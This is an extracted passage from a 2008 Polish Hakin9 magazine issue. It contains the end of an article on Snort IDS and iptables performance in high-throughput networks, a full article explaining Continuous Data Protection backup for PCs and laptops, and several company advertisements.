system wykrywania włamań oparty
na sygnaturach, powinna mieć moc
obliczeniową dwukrotnie większą niż
moc potrzebna do przeanalizowania
maksymalnego ruchu w sieci przy
założeniu zbioru reguł o możliwie
niekorzystnej charakterystyce.

Zbiór sygnatur należy tworzyć z

należytą uwagą – tak, aby nie umieszczać
w nim sygnatur niepotrzebnych.

Administrator nie musi przecież wiedzieć
o próbie przeprowadzenia ataku na
serwer FTP, jeśli takiego serwera nie
posiada w sieci chronionej. Oczywiście
ta wiedza byłaby cenna, ale jej zdobycie
może doprowadzić do utraty informacji o
przeprowadzonym udanym ataku. Wiedza
o tym drugim fakcie jest znacznie bardziej
wartościowa.

Innym sposobem na podniesienie

wydajności systemu wykrywania włamań
jest zbudowanie systemu rozproszonego,
gdzie każda z maszyn posiadać będzie
tylko pewien podzbiór sygnatur. Jest to
rozwiązanie drogie, ale w wielu sytuacjach
może okazać się jedynym gwarantującym
wysoki poziom bezpieczeństwa.

Wsparcie dla systemu

IDS – wydajność

filtra pakietów iptables

W trakcie wdrażania systemu Snort
na pewno zrodzi się pytanie, gdzie
go umiejscowić. Czy sensor systemu
powinien znaleźć się już za firewallem,
wewnątrz sieci chronionej, czy może
jeszcze przed firewallem, na styku z siecią
zewnętrzną?

Umiejscowienie sensora przed

firewallem pozwoli na uzyskanie informacji
o wszystkich próbach ataków, także
takich, które nie zostaną przepuszczone
przez firewall. Umieszczenie sensora za
firewallem pozwoli z kolei na uzyskanie
informacji o wszystkich próbach ataków,
które przedostały się przez firewall.
Porównanie informacji zebranych przez
oba te sensory pozwoli na określenie
skuteczności firewalla. Nie będę się teraz
jednak zajmował tą problematyką. Chodzi
mi bowiem o fakt przepuszczania – bądź
nie – pakietów przez firewall.

Jak wykazały przeprowadzane testy,

system Snort nie może zapewnić ochrony
sieci gigabitowej. Może w takim razie
można mu pomóc? Może zastosować
filtr pakietów jako narzędzie służące do
ograniczenia ilości ruchu sieciowego,
jaki musi zostać przeanalizowany przez
system wykrywania włamań? Pomysł
prawdopodobnie jest dobry – pytanie
tylko, czy sam filtr pakietów jest w stanie
analizować ruch w sieciach o dużej
przepustowości?

Postanowiłem to sprawdzić na

przykładzie filtra pakietów iptables,

przeprowadzając bardzo krótkie badanie
na takiej samej maszynie, na jakiej
testowany był system Snort. Rysunek
10. prezentuje wyniki tej analizy. Mam
nadzieję, iż wnioski nasuwają się
same. Dodam jeszcze tylko, iż zmiana
szczegółowości reguł oraz ich liczby
nie wpływała znacząco na wydajność
testowanego filtra pakietów.

Podsumowanie

Wdrażanie sieciowego systemu
wykrywania włamań w sieciach,
które mogą przesyłać dane z dużą
przepustowością, stanowi duże wyzwanie.
Jak wynika z przeprowadzonych badań
wydajności systemu Snort, system ten
nie gwarantuje ochrony w gigabitowych
sieciach. Widać jednak poprawę w tej
dziedzinie. Jak pokazało porównanie
dwóch wersji systemu Snort, wersja
aktualna charakteryzuje się znacznie
większą wydajnością od swojego
poprzednika. Jak pokazały testy, dosyć
istotną kwestią jest ograniczanie liczby
różnorodnych reguł. Ma to znaczący wpływ
na podniesienie wydajności sieciowego
systemu IDS wykrywającego nadużycia.

Wydajność systemu zależy także od

wydajności posiadanej maszyny, ale należy
dążyć do możliwie dużego obniżenia
zapotrzebowania na moc obliczeniową.
Przyczyni się to do podwyższenia poziomu
bezpieczeństwa, ponieważ redukuje się
w ten sposób potencjalną możliwość
zgubienia pakietu – szczególnie w sytuacji
zwiększenia natężenia ruchu sieciowego.

Wartym rozważenia jest również

punkt umiejscowienia systemu
wykrywania włamań w strukturze sieci,
a także możliwość wsparcia jego pracy
dodatkowymi narzędziami. Istotną rolę
takiego działania pokazałem w przypadku
analizy wydajności filtra pakietów iptables.

W Sieci:

http://www.snort.org,

http://www.netfilter.org,

http://www.securityfocus.com/infocus/1728,

http://www.securityfocus.com/infocus/1733

Marcin Klamra

Specjalista ds. Bezpieczeństwa firmy CCNS SA, asystent

w Instytucie Teleinformatyki Politechniki Krakowskiej.

Od 1999 roku zajmuje się zagadnieniami administracji

systemów komputerowych i bezpieczeństwem

w sieciach komputerowych. Na stałe związany z

firmą CCNS SA, w której zajmuje się rozwiązaniami

bezpieczeństwa sieciowego. Jako Certyfikowany Trener

WatchGuard Inc. prowadzi szkolenia w Autoryzowanym

Centrum Szkoleniowym WatchGuard stworzonym przez

firmę CCNS SA.

Swoją wiedzę pogłębia uczestnicząc jako asystent

naukowy w pracach badawczych Instytutu Teleinformatyki

Politechniki Krakowskiej.

Kontakt z autorem: m.klamra@ccns.krakow.pl

background image
background image

58

OBRONA

HAKIN9 6/2008

S

zlachetne zdrowie, nikt się nie dowie,
jako smakujesz, się zepsujesz
– tak kiedyś Jan Kochanowski pisał

o najcenniejszym ludzkim zdrowiu. Jednak,
gdyby ten fragment przełożyć na realia naszych
czasów, można te słowa sparafrazować i
powiedzieć: O ważne dane, nikt się nie dowie,
ile dla nas znaczą, aż się utracą
. Innymi
słowy, szczęśliwy jest ten, kto jeszcze nie
doznał uczucia, jakie odczuwamy w chwili, gdy
uświadomimy sobie, że właśnie z naszego
komputera zniknęła praca magisterska czy
semestralna, nie ma katalogu z danymi, które
skrzętnie gromadziliśmy przez kilka miesięcy
lub nawet lat.

Nawet nie chcemy sobie wyobrażać, że

zniknęły bezpowrotnie zdjęcia i filmy z naszych
najwspanialszych wakacji (podróży poślubnej),
ślubu czy innych wydarzeń rodzinnych, jak
pierwszy uśmiech naszego dziecka itp. To
wszystko niestety może się zdarzyć i to
nie komuś innemu, ale właśnie nam! Nam
– użytkownikom sprzętu komputerowego
– w domu i w pracy, zarówno na naszym
komputerze osobistym, jak i firmowym.

Zagrożeń, które mogą prowadzić do utraty

cennych dla nas danych, jest naprawdę
sporo. Począwszy od bardzo prozaicznych,
czyli kradzieży laptopa lub jego uszkodzenia
na skutek nie–ostrożnego obchodzenia się
(i niekoniecznie musi to być topienie laptopa
w wannie), przez uszkodzenie dysku w

MARIUSZ

KAPANOWSKI

Z ARTYKUŁU

DOWIESZ SIĘ

jak ważne są dane na naszych

komputerach,

czym grozi ich utrata,

artykuł szeroko podejmuje

tematykę zabezpieczania

danych przed ich utratą oraz

przedstawia obecnie stosowane

mechanizmy ochrony danych.

CO POWINIENEŚ

WIEDZIEĆ

znać ogólne zasady

posługiwania się komputerem

z systemem Windows,

posiadać ogólną wiedzę

o przechowywaniu danych

i działaniu dysków twardych.

laptopie (np. z powodu wady fabrycznej), na
zwyczajnym spaleniu się laptopa kończąc (np.
w samochodzie czy mieszkaniu, które również
spłonęło). Każdemu może się również zdarzyć,
że jego laptop wyląduje na twardej podłodze
i nie będzie nadawał się do użytku, a to już
prosta droga do utraty naszych drogocennych
danych.

Niektórzy oczywiście są zdania, że

wszystkie dane można odzyskać i nie jest
konieczne ich zabezpieczanie. Sytuacja jednak
się komplikuje, gdy nasz komputer zostanie
zagubiony lub skradziony. Wówczas nie mamy
z czego odzyskać danych. Znam również
przypadek, że upadek laptopa spowodował
zerwanie głowicy dysku twardego i porysowanie
talerzy tegoż dysku. Wówczas nawet najlepsza
firma zajmująca się odzyskiwaniem danych nie
była w stanie odtworzyć zawartości dysku. No
i użytkownik przeżył to, o czym była mowa na
samym początku niniejszego artykułu.

Jak uniknąć

problemu utraty danych?

W każdej dziedzinie należy pamiętać o bardzo
prostej zasadzie, że lepsza od leczenia jest
profilaktyka
. Odnosząc to do tematu utraty
danych, trzeba wiedzieć, że dane zawsze
można zabezpieczyć przed ich utratą. W jaki
sposób? Zwyczajnie – kopiując je na inny dysk
lub komputer, czyli tworząc kopię zapasową
– backup danych.

Stopień trudności

Continuous

Data

Protection

Artykuł przedstawia tematykę ochrony danych na komputerach

osobistych pod kątem ich dostępności. Opisuje zagrożenia, które

mogą skutkować utratą naszych danych z laptopa bądź PC–ta

oraz proponuje rozwiązanie zapobiegawcze.

background image

59

NAJLEPSZA OCHRONA DANYCH NA NASZYM PC

HAKIN9

6/2008

I teraz większość Czytelników

pomyślała – backup to zapewne
serwery, taśmy, drogie techniki zapisu
(napędy i biblioteki taśmowe) oraz
oprogramowanie do tworzenia kopii
zapasowych. To nie dla mnie. Lecz ja
chciałbym zaznaczyć, że stereotypowe
pojmowanie kwestii backupu nie jest
właściwe w przypadku ochrony danych
na komputerach osobistych. Pamiętajmy,
że tradycyjny backup dotyczył serwerów,
a my chcemy znaleźć właściwy sposób
na zabezpieczenie danych na naszym
PC – w firmie lub domu.

Backup w tradycyjnej formie

zazwyczaj jest wykonywany dla dużych
serwerów, gdzie są przechowywane
krytyczne dla firmy dane. I faktycznie
nadal do tego celu używane są
sprawdzone już techniki, czyli kopiowanie
danych na nośniki taśmowe. Taki backup
najczęściej wykonywany jest nocą,
gdy serwery nie są dociążone przez
użytkowników, a sieć przesyła niewielką
liczbę danych.

Godziny nocne dają również

możliwość zatrzymywania silników
baz danych, aby skopiować zawartość
tych baz. Jednak czy o taki backup
nam chodzi, kiedy myślimy o danych
przechowywanych na naszym laptopie?
Najczęściej śpi on w nocy razem z
nami. Nie jest na stałe podłączony do
sieci firmowej lub domowej, ponieważ
podróżujemy z nim niemalże codziennie.
Na naszym laptopie nie mamy też
baz danych, bo te aplikacje zazwyczaj
potrzebują dużo lepszych parametrów
sprzętowych niż te, w które nasz laptop
jest wyposażony.

Łatwo więc zauważyć, że tradycyjne

techniki backupu nie do końca nadają
się do kopiowania danych z naszego
laptopa czy domowego PC.

Wymarzony

program do backupu

A jaką funkcjonalność musiałby mieć
program do tworzenia kopii zapasowych,
abyśmy mogli spokojnie spać, nie
martwiąc się o nasze dane? Chyba
najważniejszą cechą jest to, aby kopiował
on wszystkie dane, jakie znalazły się na
naszym komputerze (chociażby przez
bardzo krótki moment). Wówczas mamy
pewność, że zawsze możemy odtworzyć

dane, które kiedykolwiek zagościły na
naszym PC. Drugą ważną kwestią jest,
aby nie martwić się o to, że np. w piątek
– po całym tygodniu pracy – musimy
wykonać jeszcze kopię zapasową.
Dodatkowo, gdy jesteśmy poza biurem i
nie mamy podłączenia do sieci firmowej,
nie przeniesiemy tych danych do
miejsca docelowego. A gdy pojawimy
się w pracy w poniedziałek, to będzie
tysiąc ważniejszych spraw na głowie
niż tworzenie zaległej kopii zapasowej z
piątku.
Oczywiście, nasz wymarzony program
musi też wiedzieć, co już mamy
skopiowane, a co jest nowego na
naszym komputerze i z czego należy
utworzyć kopię zapasową. Nie można też
zapominać, o różnych wersjach obiektu,
który backupujemy. Przykładowo plik
CDP.doc może zmieniać się na skutek
edycji przez użytkownika. W związku z
tym, dobry program do tworzenia kopii
zapasowych powinien zachowywać
każdą z wersji takiego pliku, aby w razie
potrzeby była możliwość odtworzenia
jakiejś złotej myśli sprzed kilku dni, którą
usunęliśmy podczas edycji w chwili
roztargnienia.

Kolejną istotną sprawą jest to,

aby backupy zajmowały jak najmniej
miejsca na jakimś zapasowym dysku
lub macierzy dyskowej w firmie. Nie jest
nam potrzebne kopiowanie tych samych
plików systemowych z np. 100 komputerów
w firmie, ponieważ są one identyczne
na każdym komputerze (zakładając, że
wszędzie zainstalowano ten sam system
operacyjny). Dodatkowo, tworzenie kopii
zapasowej ze śmiesznego filmu, który
znajduje się na większości lub wszystkich
komputerach użytkowników, też jest
trwonieniem zasobów. Dlatego w naszym
wymarzonym programie przydałby się jakiś
mechanizm bardziej inteligentny, który nie
powielałby kopii zapasowych tych samych
plików. Oczywiście są także pliki systemowe
specyficzne dla każdego hosta i należy je
chronić tworząc kopię zapasową. O tym
nasz program też powinien pamiętać.

Continuous Data Protection

– czyż nie tego nam trzeba?

Wychodząc naprzeciw oczekiwaniom
użytkowników komputerów osobistych,
tak w domowym zaciszu, jak i w firmach,

opracowano specyficzną technikę
ochrony danych, nazywaną CDP
Continuous Data Protection, czyli
ochrona danych w sposób ciągły. Co to
takiego jest i jak to działa? Już spieszę
z wyjaśnieniem. Otóż Continuous Data
Protection
w swym założeniu ma za
zadanie nieprzerwaną ochronę danych.

Ta ochrona danych jest oczywiście

w postaci tworzenia kopii zapasowych
– a ponieważ jest ona prowadzona w
sposób ciągły, oznacza to, że niejako w
czasie rzeczywistym potrafi backupować
zbiory danych. Jest to najważniejsza
i podstawowa cecha techniki CDP,
która pozwala na odzyskanie zbioru
zapisanego w dowolnym momencie w
przeszłości.

Czyż to nie jest to, o co nam

chodziło? Ważne jest również, że CDP nie
wymaga stałego przyłączenia do sieci i
komunikacji z serwerem zarządzającym
backupami, co znakomicie wpisuje się w
potrzeby stacji przenośnych – laptopów.
Aplikacja na naszym laptopie sama
czuwa nad kopiowaniem wszelkich
zbiorów z naszego komputera, które
zostały na nim zapisane (nawet na
sekundę). Należy też pamiętać, że
objętość danych na naszych laptopach
jest stosunkowo mała w porównaniu
do dużych serwerów produkcyjnych
w firmach. W związku z tym kopie
zapasowe nie są przerażająco duże
objętościowo. Stąd też te backupy
nie trafiają bezpośrednio na bardzo
pojemne taśmy magnetyczne, lecz
na dyski twarde – bądź to na naszym
komputerze, bądź na macierzy dyskowej
w firmowej serwerowni.

Nic nie stoi na przeszkodzie, aby

w końcu trafiły one na taśmę, lecz
może się to odbyć na dalszym etapie
ochrony danych. Ponadto, aby w pełni
zoptymalizować wykorzystywaną
przestrzeń dyskową, stosuje się również
mechanizm deduplikacji (Rysunek 1.), co
zapobiega przechowywaniu identycznych
zbiorów w ramach kopii zapasowych.
Np. aktualizacja do MS Windows nie
jest kopiowana 100 razy – z każdego
komputera w firmie. Wystarczy tylko
jedna kopia, a w przypadku większej
liczby wystąpień (przy kopiowaniu z
innych komputerów), tworzony jest
jedynie odnośnik do tego obiektu.

background image

OBRONA

60

HAKIN9 6/2008

NAJLEPSZA OCHRONA DANYCH NA NASZYM PC

61

HAKIN9

6/2008

Tutaj należy jeszcze zauważyć,

że sama technika CDP jest częścią
składową, na której oparte są programy
do tworzenia kopii zapasowych.
Narzędzia takie zawierają również inne
funkcjonalności, które niekoniecznie
są związane z CDP. Przykładem takiej
funkcjonalności może być Disaster
Recovery
, czyli możliwość szybkiego
odtwarzania systemu i danych po awarii.
Jest to bardzo pożądana funkcjonalność
i bardzo często bywa dołączana do
oprogramowania tworzącego kopie
zapasowe. Nie należy jednak łączyć tej
funkcjonalności z samą techniką CDP.

A jak działa to CDP

i oprogramowanie

na nim zbudowane?

Sama architektura jest stara jak
świat
, bo to architektura klient–serwer.
Na stacjach końcowych – PC lub
laptopach – instalowani są tzw. klienci,
którzy lokalnie dbają o gromadzenie
i przesyłanie danych (wtedy, gdy
klient może połączyć się z serwerem
backupu). Sam serwer zarządza
procesem kopiowania danych ze stacji
klientów, bada ich dostępność w sieci
(czy są podłączone do sieci, czy też
nie) oraz tworzy bazę zawierającą
informacje na temat skopiowanych
danych. Sam proces tworzenia kopii
zapasowych składa się z dwóch
etapów. Jest to najpierw kopiowanie

danych na wydzielony obszar (tzw.
cache) na dysku lokalnym, a następnie
kopiowanie do miejsca docelowego
– którym najczęściej jest wolumen
na serwerze lub macierzy dyskowej.
Aby mogło nastąpić przeniesienie
danych z naszego laptopa bądź PC,
musi on mieć połączenie z serwerem
backupu. Warunek ten nie zawsze
jest spełniony (np. podczas podróży
służbowej mamy laptopa bez dostępu
do Internetu). Wówczas backup
danych jest wykonywany wyłącznie
lokalnie na wydzielony obszar dysku.
W momencie podłączenia laptopa do
sieci i skomunikowania się z serwerem
backupu nastąpi przeniesienie danych
na wolumen docelowy.

Niektóre dobre programy do

tworzenia kopii zapasowych mają
również możliwość określenia czasu, w
którym dane mogą być przesyłane ze
stacji klienta do serwera oraz wielkości
pasma, jaką może zająć ta transmisja.
Przykładowo przesyłanie danych na
serwer może odbywać się w godz.
od 12–tej do 14–tej, kiedy zazwyczaj
jesteśmy na obiedzie.

Możemy także określić, że pasmo

do wykorzystania na cele backupu ma
być nie większe niż np. 20%. Pozwala to
sprawić, że kopiowanie danych w tle nie
będzie przeszkadzać użytkownikowi w
kontekście zajętości zasobów sprzętowych
(dysk twardy, CPU, itp.) oraz sieciowych.

Komunikacja SO

z oprogramowaniem CDP

W momencie instalacji oprogramowania
korzystającego z CDP, bardzo
ściśle integruje się ono z systemem
operacyjnym. Od tej chwili żadna
operacja kopiowania (przenoszenia) czy
tworzenia obiektów nie może odbyć się
niezauważona przez oprogramowanie
backupowe. Każda z tych operacji jest
jednocześnie wykonywana zarówno
przez system operacyjny, jak i przez
CDP na lokalny zasób backupowy. Np.
kiedy chcemy założyć plik plik.doc, jest
on normalnie tworzony przez system
operacyjny oraz równolegle zapisany
przez CDP na wydzielonym obszarze
dysku tego komputera (tzw. cache). Jest
to pierwszy stopień zabezpieczenia
przed przypadkowym usunięciem
obiektu. Umożliwia to również śledzenie
ewentualnych kolejnych wersji pliku.

Ile wersji tego pliku zapiszemy,

tyle będziemy mieli plików w kopii
zapasowej. Np. tworząc dokument
tekstowy, co pewien czas dopisujemy
kolejny akapit (czasem poprawiając
te napisane wcześniej). Wówczas
przy każdym wprowadzeniu zmian i
zapisaniu dokumentu tworzy się kolejna
kopia zapasowa tego samego obiektu,
umożliwiająca jego odzyskanie z każdej
fazy jego tworzenia.

Co pewien okres czasu dane

z pamięci podręcznej (cache) są
przenoszone na serwer backupu.

Oczywiście jest to również

uzależnione od przyłączenia komputera
do sieci, przez którą ten może się
skomunikować z serwerem kopii
zapasowych. Jeżeli nasz komputer
jest stale podłączony do sieci i ma
komunikację z serwerem backupu,
wówczas nasze dane są kopiowane na
serwer niemalże w czasie rzeczywistym
(przy założeniu, że nie mamy ograniczeń
co do czasu przenoszenia danych na
serwer).

Praktyczne zastosowanie

CDP – porady i ostrzeżenia

Systemy zabezpieczania danych przed
ich utratą najczęściej wdrażane są w
firmach i przedsiębiorstwach. Wówczas
na dedykowanym serwerze z dostępem
do dużych zasobów dyskowych (macierz

Rysunek 1.

Działanie deduplikacji

Dane

idenyczne

jak na innych

Dane

idenyczne

jak na innych

Dane

idenyczne

jak na innych

Dane wystęujce tylko

na tym komputerze

Dane wystęujce tylko

na tym komputerze

Dane wystęujce tylko

na tym komputerze

Zaoszczędzone

miejsce

Dane wspólne

dla wszystkich

komputerów

Serwer

background image

OBRONA

60

HAKIN9 6/2008

NAJLEPSZA OCHRONA DANYCH NA NASZYM PC

61

HAKIN9

6/2008

o pojemności rzędu TB) instalowany
jest serwer backupu. Na komputerach
pracowników instalowana jest aplikacja
klienta, w której ustalamy wymagane
parametry, jak np. maksymalne pasmo
dla danych przenoszonych na serwer
backupu. Podczas instalacji klienta,
określamy również katalog, w którym
będą przechowywane lokalne kopie
danych. Jeżeli instalacja dotyczy
komputera stacjonarnego, wybór
tego katalogu nie jest zbyt istotny.
W przypadku laptopa ma on wręcz
decydujące znaczenie. Jeżeli bowiem
będzie on znajdował się na partycji
o małej pojemności, wówczas, w
przypadku dłuższego braku połączenia z
serwerem backupu, szybko zapełni się i
może się zdarzyć, że dla naszych danych
nie będą tworzone kopie zapasowe
nawet na dysku lokalnym. A to może
doprowadzić do trwałej utraty danych,
czemu chcemy zapobiec instalując
opisywane oprogramowanie. Zaleca się
również, aby komputery przenośne były
w miarę regularnie podłączane do sieci,
przez którą mogą się komunikować z
serwerem backupu.

Szczególną ostrożność powinny

zachować osoby, które często wyjeżdżają i
przebywają poza firmą, ponieważ skutkuje
to szybkim przyrastaniem danych w
lokalnym cache’u na dysku twardym.
Natomiast gdy nasze dane znajdują się już
w bezpiecznym miejscu (tzn. na serwerze
backupu), możemy je kopiować na nośniki
taśmowe za pomocą oprogramowania
do tradycyjnego backupu. Zwiększa to
bezpieczeństwo naszych danych oraz
zwalnia przestrzeń dyskową na macierzy.

Trochę inaczej problem wygląda w

przypadku pojedynczych komputerów
domowych. Zazwyczaj nie mamy
w domu żadnego serwera z dużą
macierzą dyskową. Jak wtedy robić
kopie zapasowe naszych – nieraz
bezcennych – danych? Niestety, nie da
się przeskoczyć pewnych ograniczeń
fizycznych i np. rozciągnąć dysku
twardego.

W takim przypadku najlepiej

zaopatrzyć się w dodatkowy dysk twardy,
na którym będziemy przechowywać
nasze kopie zapasowe. Jeżeli jest
to laptop, wydaje się, że najlepszym
rozwiązaniem jest dysk ze złączem

USB. Nie będzie to zbyt uciążliwe dla
użytkownika laptopa, bo ten może co
pewien czas podłączać napęd do
komputera i kopiować dane. Wydatek
związany z zakupem takiego dysku jest
rzędu kilkuset złotych za dysk 200 GB.
Taka pojemność powinna zaspokoić
nasze potrzeby, a koszty nie są aż tak
bardzo wysokie. Oczywiście na takim
pojedynczym komputerze musimy
zainstalować aplikację jako serwer
backupu i jako miejsce docelowe
przechowywania kopii zapasowych
wskazać wspominany wcześniej dysk, np.
wspomniany napęd z interfejsem USB.

Należy pamiętać, że przy pierwszym

backupie będzie tworzona kopia
zapasowa wszystkich danych z naszego
komputera. Stąd też zalecane jest, aby
pierwsze wykonywanie kopii zapasowej
było robione zawsze przy pełnej
komunikacji klienta z serwerem backupu.
Rekomenduje się, żeby przy pierwszym
uruchomieniu klient lokalny skopiował
całą zawartość naszego komputera,
lecz nie do zasobu lokalnego, ale na
serwer backupu (miejsce docelowe). W
celu spełnienia tego warunku nie należy
odłączać naszego komputera od sieci
np. w firmie. Dopiero po zakończeniu tej
operacji kolejne backupy będą kopiami

przyrostowymi. Oznacza to, że będą
wykonywać się kopie zapasowe tylko
tych obiektów, które powstały lub zmieniły
się od czasu ostatniego backupu. Jest
to tzw. backup incremental for ever,
czyli wieczny backup przyrostowy. Takie
backupy możemy bez obaw wykonywać
do lokalnego cache’u.

Należy jeszcze wspomnieć o czasie

przechowywania kopii zapasowych.
Czasy te definiujemy w zależności od
potrzeb użytkownika. Dodatkowo, w
większości programów opartych na
CDP czasy te są ustawiane na kilku
poziomach – określamy, jak długo
dane mają być przechowywane na
serwerze backupu, ile maksymalnie
wersji określonego pliku chcemy
przechowywać, którego dnia chcemy
sprawdzać wygaśnięcie ważności
obiektów itp. Muszę stwierdzić, że
mechanizmy związane z zarządzaniem
czasem przechowywania kopii
zapasowych są w przypadku techniki
CDP mocno rozbudowane, a ich zgrubny
opis zająłby kolejne kilka stron.

Ważną kwestią jest również,

aby nasze kopie zapasowe nie były
dostępne dla innych, niepowołanych
osób. W związku z tym, programy
oparte na technice CDP oferują

Rysunek 2.

CDP i zwykły backup

����������������������

������������������������

�����������������������

������������������������

������������������������������

��������������������������

���������������������������������������������������������������������������������������������

������������������������������������

background image

OBRONA

62

HAKIN9 6/2008

zabezpieczenia kopii zapasowych
przed nieautoryzowanym dostępem.
Dane skopiowane na serwer
backupu są zabezpieczone na dwóch
poziomach: hasło dostępu przy próbie
odtworzenia oraz zaszyfrowanie danych
przechowywanych na wolumenie.

Dane są szyfrowane również

w trakcie transmisji do i z serwera
backupu, aby nikt niepowołany ich nie
przechwycił. Szyfrowanie to odbywa się
za pomocą Microsoft Base or Enhanced
Cryptographic Provider
, który używa
metody RC4. Dzięki temu możliwe jest
40–bitowe oraz 128–bitowe szyfrowanie
przesyłanych danych.

Hasło ogranicza możliwość

odtworzenia naszych tajnych danych
np. przez kolegę z pracy na jego
komputerze. Do tego konieczne jest
hasło, które znamy tylko my. Ponadto
dane składowane np. na macierzy
są zaszyfrowane. Zabezpiecza to nas
przed dostępem do danych choćby
przez administratora systemu backupu,
który ma dostęp do wolumenu
dyskowego na serwerze. Mimo, że
może on przekopiować nasze dane,
nie może ich odczytać bez hasła
deszyfrującego. Metody szyfrowania
danych składowanych na wolumenach
docelowych są identyczne z opisanymi
wcześniej przy okazji szyfrowania w
trakcie transmisji danych.

Programy korzystające z techniki

CDP najczęściej oferują możliwość
tworzenia obrazów naszego systemu
na płytach CD/DVD. Po awarii naszego
systemu, czy nawet całego komputera,
możemy odtworzyć jego konfigurację
wraz z danymi. Możemy te dane
odzyskać na tym samym lub innym
komputerze. Stwarza to dodatkowe
niebezpieczeństwo dla danych – mogą
one trafić w niepowołane ręce. Stąd
też obrazy tych systemów również są
zabezpieczane hasłem. Na skutek
tego konieczne jest podanie hasła
podczas procesu odtwarzania systemu
(Disaster Recovery) z płyty CD/DVD na
docelowym komputerze. Dodatkowym
zabezpieczeniem jest zaszyfrowanie
obrazu systemu, który przechowujemy na
serwerze backupu.

Szyfrowanie to jest wykonywane

za pomocą algorytmu AES (Advanced

Encryption Standard) ze 128–bitowym
kluczem.

Należy tu jeszcze wspomnieć, że

dane przechowywane w lokalnym
cache’u zazwyczaj nie są objęte
dodatkowymi zabezpieczeniami przed
dostępem osób niepowołanych.
Producenci oprogramowania zakładają,
że jeżeli ktoś niepowołany będzie miał
dostęp do naszego dysku twardego,
to ważne dane wykradnie kopiując je
bezpośrednio z lokalizacji pierwotnej, a
nie z kopii zapasowej.

Oczywiście przy przesyłaniu

danych ze stacji klienta do serwera
backup’u, dane są szyfrowane przed
ich nadaniem. Zabezpiecza to nas
przed nieautoryzowanym dostępem do
naszych danych za pośrednictwem sieci
LAN (VPN).

Przypadki utraty danych

i sposoby, na jakie

możemy je odzyskać

Tak, jak było to powiedziane na samym
początku niniejszego artykułu, mogą nas
spotkać różne przypadki losowe, które
w swoich skutkach niosą utratę cennych
dla nas danych.

Najprostszym takim przykładem

jest przypadkowe usunięcie pliku lub
katalogu z naszego komputera. Jeżeli
mamy zainstalowane oprogramowanie
do tworzenia kopii zapasowych z techniką
CDP, to nic się wielkiego nie stało.
Sięgamy do Menadżera odzyskiwania
i odtwarzamy usunięty plik, czy to z
lokalnego cache’u, czy z serwera (przy
tym konieczne jest podłączenie do sieci,
aby skomunikować się z serwerem
backupu). Przy odtwarzaniu możemy
wybrać wersję utraconego pliku i
umieścić go w żądanym miejscu.

Podobnie postępuje się w przypadku

uszkodzenia jakiegoś pliku np. przez
wirusa.

Więcej trudności nastręcza

uszkodzenie dysku twardego. Wówczas
krytyczną kwestią jest czas, w którym
wykonywano ostatni backup do
lokalizacji docelowej, czyli do serwera
backupu. Ważne jest to dlatego, że po
wymianie dysku na nowy, dane będą
odtwarzane nie z lokalnego zasobu,
lecz właśnie z serwera backupu. W tym
przypadku dane odzyskamy do stanu

sprzed ostatniego backupu wykonanego
do lokalizacji docelowej. Dlatego tak
ważnym jest częste i regularne tworzenie
kopii zapasowej na serwerze backupu.
To ona de facto w pełni zabezpiecza nas
przed utratą danych.

Największym wyzwaniem dla nas

jest przypadek uszkodzenia naszego
laptopa (albo PC) lub jego kradzież czy
zaginięcie. Wówczas jedynym ratunkiem
są dane zgromadzone na serwerze
backupu.

To jest właśnie sytuacja, gdzie

należy zastosować procedurę Disaster
Recovery
, czyli odtwarzanie systemu
i danych po awarii. Najczęściej w
takim przypadku tworzymy za pomocą
serwera backupu płytę CD/DVD z
obrazem systemu. Uzyskujemy go z
danych zgromadzonych na serwerze
backupu. Jest wówczas możliwe pełne
odtworzenie naszego systemu na
nowym PC lub laptopie wraz z danymi. W
tym przypadku również odtworzymy dane
do stanu sprzed ostatniego backupu
na serwer. Mimo, że będzie to stan np. z
dnia poprzedniego (lub sprzed tygodnia),
jest to znacznie lepsza sytuacja niż
całkowita utrata danych.

Podsumowanie

Odpowiedzią na to pytanie jest inne:
a czy możemy pozwolić sobie na
utratę naszych danych? Jeżeli na
komputerach mamy bezcenne dla nas
dane, to zapewne warto zainwestować w
oprogramowanie z CDP. Technika ta jest
obecnie najbardziej zaawansowaną z
technik stosowanych do zabezpieczania
danych na komputerach osobistych.
W niniejszym artykule przedstawiłem,
jakie są największe zalety techniki CDP
(czyli tworzenia kopii zapasowych w
czasie rzeczywistym). To daje nam
możliwość odzyskania każdego obiektu z
dowolnego momentu w przeszłości. Czy
to nie jest to, co pozwoli nam spokojnie
spać – bez obawy o ewentualną utratę
danych? Czy potrzeba nam jeszcze
lepszej ochrony?

Mariusz Kapanowski

Inżynier ds. pamięci masowych w firmie S4E SA. Od

prawie 3 lat zajmuje się systemami pamięci masowych i

kopiami zapasowymi serwerów i komputerów osobistych.

Interesuje się nowinkami technicznymi, historią i

zjawiskami paranormalnymi.

Kontakt z autorem: mariusz.kapanowski@s4e.pl

background image

Prenumerata Pro

Media

Systems

Firma Media Systems oferuje Państwu
usługi oparte o rozwiązania systemu
CashBill.pl i są to: organizacja kam-
panii marketingowych opartych o kon-
kursy SMS’owe, organizacja kampanii
reklamowych serwisów internetowych,
system płatności elektronicznych po-
przez karty płatnicze i przelewy. Prócz
wymienionych usług oferujemy także
budowę stron www, sprzedaż domen
oraz pozycjonowanie w wyszukiwar-
kach. Zapraszamy do współpracy.

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na za-
mówienie. W ofercie programy autor-
stwa ponad dwustu firm z całego świa-
ta. Chcesz kupić oprogramowanie i nie
możesz znaleźć polskiego dostawcy?
Skontaktuj się z nami – sprowadzimy
nawet pojedyncze licencje.

www.OprogramowanieKomputerowe.pl

CCNS

Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.

www.ccns.pl

Petrosoft

Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezenta-
cji multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsorcin-
gowe dla dużych firm z zakresu infor-
matyki i telekomunikacji. Oprogramo-
wanie na zamówienia. Dostawa serwe-
rów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

kontakt do nas:

katarzyna.juszczynska@software.com.pl,

